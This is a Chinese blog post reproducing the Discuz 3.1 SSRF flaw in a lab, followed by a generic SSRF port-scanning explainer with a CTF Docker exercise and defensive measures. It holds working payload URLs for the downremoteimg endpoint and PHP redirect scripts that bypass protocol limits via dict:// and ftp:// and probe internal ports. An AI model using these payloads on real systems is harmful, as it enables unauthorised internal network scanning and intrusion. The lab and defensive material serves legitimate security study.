nc 探测端口_Discuz-3.1 ssrf漏洞利用操作(环境搭建、漏洞复现、探测端口)

一、环境搭建:

(一)Phpstudy+win7搭建discuz漏洞环境

(二)把Discuz-3.1 源码拖到网站根目录,然后访问upload目录进行安装,根据提示即可

(三)安装完成访问一波:

f5e49cd13264ef31b0e2007f16d65ecd.png

二、漏洞复现:

(一) Centos7,临时关闭防火墙

de035b603aae65d72bcc96a9aab30925.png

(二)开启nc监听6666端口:nc -lvp 6666

efbc53abe9d9a9ed83bd14125d295cfa.png

(三)查看centos7的ip

190bafe96f7d733112b7b78b31f3ccaf.png

(四)利用discuz的漏洞向centos7发起一个请求:

http://192.168.136.132/discuz-ssrf/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.136.133:6666/?data=he2lo.jpg[/img]

16420698718fae27c3485ac42e247fae.png

(五)回到centos7查看结果,成功收到了请求

a6bd7968155cd1e611d63f4cc7fcdfc1.png

三、利用Header函数绕过限制;

(一) 限制原因:
很多网站不允许使用ftp dict gopher协议去请求的,所以需要php函数 header来绕过

(二)利用条件:一台公网服务器(搭建了php、apache等环境)。

(三)在公网服务器创建一个dict.php的文件内容为,:
<?php

header("location: dict://192.168.136.133:6666/info");

?>

cf200785ff1f012b8e784ce1026c1e88.png

(四) 然后在discuz中构造payload如下:http://192.168.136.132/discuz-ssrf/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.136.133/dict.php?data=he2lo.jpg[/img]

c80b5883ebf77b47cf42c2a27b7b7b8d.png

(五)并且在centos7开启监听:

(六) 回到centos7查看结果,成功接收到了请求info,成功利用header绕过限制,其他协议的绕过,改我们创建的php文件中的协议名称即可

82c34de9e40c6425497d09ba38749085.png

四、 探测端口:

(一)先在公网服务器创建一个port.php文件,内容如下:

<?php

$ip = $_GET['ip'];

$port = $_GET['port'];

$scheme = $_GET['s'];

$data = $_GET['data'];

header("Location: $scheme://$ip:$port:$data");

?>

9df7ea1bd64255222aa3bb42118b76cb.png

(二)构造payload:http://192.168.136.132/discuz-ssrf/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.136.133/port.php?s=ftp%26ip=127.0.0.1%26port=80%26data=he2lo.jpg[/img]


如果加载的时间很长,说明该端口是开放的。其中127.0.0.1地址就是discuz的

614b7e2faa8a3c4a541dde39a79c3ff1.png
SSRF(Server Side Request Forgery)漏洞是一种常见的Web安全漏洞,攻击者可以利用该漏洞伪造服务器端发起的请求,例如访问内部系统或者外部网络等,从而造成安全风险。 SSRF漏洞的利用方式有很多种,其中一种典型的方式是利用SSRF漏洞进行端口扫描。攻击者可以构造特定的请求,使目标服务器向攻击者指定的IP地址和端口发起连接,从而达到端口扫描的目的。 下面我们就来分析一下SSRF漏洞的利用过程。 一、漏洞利用过程 1. 构造恶意请求 攻击者可以构造恶意请求,将需要访问的目标URL替换成攻击者指定的URL,从而实现伪造请求的目的。 例如,以下请求中的网址参数即为存在SSRF漏洞的关键点: ``` http://example.com/?url=http://attackersite.com ``` 攻击者可以将其替换成需要访问的目标URL,例如: ``` http://example.com/?url=http://127.0.0.1:22 ``` 2. 利用漏洞进行端口扫描 当攻击者构造完恶意请求后,目标服务器会向攻击者指定的IP地址和端口发起连接,如果连接成功,说明该端口开放,否则该端口关闭。 攻击者可以通过不断尝试不同的端口,从而达到端口扫描的目的。 二、实战演练 下面我们将通过一个CTF例题来演示如何利用SSRF漏洞进行端口扫描。 1. 环境搭建 我们可以使用Docker来搭建漏洞环境,具体步骤如下: 1)拉取Docker镜像 ``` docker pull bluetonem/hackme-ssrf ``` 2)启动容器 ``` docker run -d -p 8080:80 bluetonem/hackme-ssrf ``` 2. 漏洞利用 访问http://127.0.0.1:8080/,可以看到一个简单的Web应用程序,该应用程序可以通过URL参数获取指定网址的源代码。 我们可以利用SSRF漏洞,将目标网址替换成攻击者指定的URL,从而实现伪造请求的目的。 例如,以下请求中的网址参数即为存在SSRF漏洞的关键点: ``` http://127.0.0.1:8080/?url=http://attackersite.com ``` 攻击者可以将其替换成需要访问的目标URL,例如: ``` http://127.0.0.1:8080/?url=http://127.0.0.1:22 ``` 如果该端口开放,返回的页面会显示"SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2"等信息,说明端口开放。如果该端口关闭,则返回的页面会显示"Connection refused"等信息,说明端口关闭。 通过不断尝试不同的端口,可以实现端口扫描的目的。 三、防御措施 为了避免SSRF漏洞的产生,需要采取以下安全措施: 1. 对用户输入的URL进行严格验证,确保只访问合法的URL。 2. 对URL进行白名单验证,只允许访问指定的URL,避免访问不受信任的URL。 3. 对访问的目标URL进行限制,避免访问内部系统或者外部网络等不安全的URL。 4. 对服务器的网络端口进行限制,避免访问不受信任的IP地址和端口。 5. 对服务器进行定期的安全审计,及时发现和修复漏洞。 以上是关于SSRF漏洞分析与利用的详细介绍,希望对你有所帮助。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值